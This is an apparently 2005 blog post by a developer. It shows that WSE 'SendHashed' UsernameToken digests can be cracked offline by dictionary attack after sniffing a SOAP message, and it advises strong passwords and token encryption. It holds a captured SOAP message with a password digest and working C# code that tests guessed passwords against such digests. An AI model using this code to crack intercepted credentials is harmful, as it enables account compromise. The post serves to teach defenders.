1월 16일
Crack your WSE SendHashed Passwords.
Hackers already know how to do this kind of thing, so we are not exposing something new. We, the WSE programmers, need to understand what the bad guys may do with our Soap and UsernameTokens. You will not see this published in bright lights, but using SendHashed in your UsernameTokens on Soap messages is not secure. It is better then plain text, but not by much. If you send Soap messages with SendHashed it is possible to recover the clear password passed to the UsernameToken constructor as we shall see. SendHashed is a one way sha1 hash, so we can't reverse it, but it is easy to do dictionary attacks to find the passwords - especially if the passwords are simple. A good reason to require very strong passwords in your corporate password policy.
Basically, all you need to do sniff the wire to get a Soap message. You need the following elements from the Soap message: Created, Nonce, and the Password digest string. You also need a password dictionary to perform your dictionary attack. This dictionary will need a list of common *clear passwords, not the hash of the passwords. Then just call PasswordMatches(...) below until you find a match. Send a WSE message using SendHashed and grab the strings from the Soap msg in the input log file or the "wire" to test this yourself. As you know the password already, you don't need the dictionary to test - you can just use the password you know and pass it to PasswordMatches as the "secret" parm.
As we see, this is pretty easy and fast (even with a Million or more passwords in our dictionary). Also, the hacker has all the time in the world to run bigger dictionaries as the elements are not time sensitive. In fact, it is also possible to do this same kind of attack using Soap Signatures. So if you think signing your soap body and using a SendNone UsernameToken is secure - think again. So encrypt your Tokens and Signatures with x509 cert or other shared secret. With encrypted strings, you can't do dictionary attacks.
Please note, this is *not a MS implementation problem or a WS spec issue, it is just a fact of using hashes. Anyway, here is the captured Soap message I used for the test and the code:
//** Captured Soap Message
<?xml version="1.0" encoding="utf-8"?>
<log>
<soap:Envelope xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/03/addressing" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<wsa:Action>GetString</wsa:Action>
<wsa:MessageID>uuid:ba2d8e68-55f7-40a9-b13f-8867cc3a0abe</wsa:MessageID>
<wsa:ReplyTo>
<wsa:Address>http://schemas.xmlsoap.org/ws/2004/03/addressing/role/anonymous</wsa:Address>
</wsa:ReplyTo>
<wsa:To>soap://192.168.0.221/MyServiceV1</wsa:To>
<wsse:Security soap:mustUnderstand="1">
<wsu:Timestamp wsu:Id="Timestamp-842f5703-c8a2-40ae-b658-c6b9daef6611">
<wsu:Created>2005-03-31T04:27:12Z</wsu:Created>
<wsu:Expires>2005-03-31T04:28:12Z</wsu:Expires>
</wsu:Timestamp>
<wsse:UsernameToken xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="SecurityToken-c9c2aa12-073a-4463-bc75-962a63c15a2f">
<wsse:Username>staceyw</wsse:Username>
<wsse:Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordDigest">RIINa9zgQceAxsNdfclmmg17fiA=</wsse:Password>
<wsse:Nonce>KC5fTFC7/NPqvGQOJ2kx1g==</wsse:Nonce>
<wsu:Created>2005-03-31T04:27:12Z</wsu:Created>
</wsse:UsernameToken>
</wsse:Security>
</soap:Header>
<soap:Body>
<string xmlns="http://tempuri.org/">Request</string>
</soap:Body>
</soap:Envelope>
</log>
// ** End Soap Message
private void button1_Click(object sender, System.EventArgs e)
{
/*
Sample Data:
pwGuess = "password";
// Following fields taken directly from Soap message.
created = "2005-03-31T04:27:12Z";
nonce = "KC5fTFC7/NPqvGQOJ2kx1g==";
passwordDigest = "RIINa9zgQceAxsNdfclmmg17fiA=";
*/
string pwGuess = this.tbPwGuess.Text;
string created = this.tbCreated.Text;
string nonce = this.tbNonce.Text;
string passwordDigest = this.tbDigest.Text;
bool pwMatch = PasswordMatches(pwGuess, nonce, created, passwordDigest);
Console.WriteLine("Matches:" + pwMatch);
}
public static bool PasswordMatches(string secret, string nonce, string created, string pwDigest)
{
// Word lists at ftp://coast.cs.purdue.edu/pub/dict
byte[] nonceBytes = Convert.FromBase64String(nonce);
string newHash = ComputePasswordDigest(nonceBytes, created, secret);
return newHash == pwDigest;
}
public static string ComputePasswordDigest(byte[] nonce, string created, string secret)
{
//
// PW Digest == Base64(SHA-1(Nonce + Created + Password))
//
if ((nonce == null) || (nonce.Length == 0))
throw new ArgumentNullException("nonce");
if (secret == null)
throw new ArgumentNullException("secret");
byte[] b1 = Encoding.UTF8.GetBytes(created);
byte[] b2 = Encoding.UTF8.GetBytes(secret);
byte[] b3 = new byte[nonce.Length + b1.Length + b2.Length];
Array.Copy(nonce, b3, nonce.Length);
Array.Copy(b1, 0, b3, nonce.Length, b1.Length);
Array.Copy(b2, 0, b3, (int)(nonce.Length + b1.Length), b2.Length);
return Convert.ToBase64String(SHA1.Create().ComputeHash(b3));
}
--
William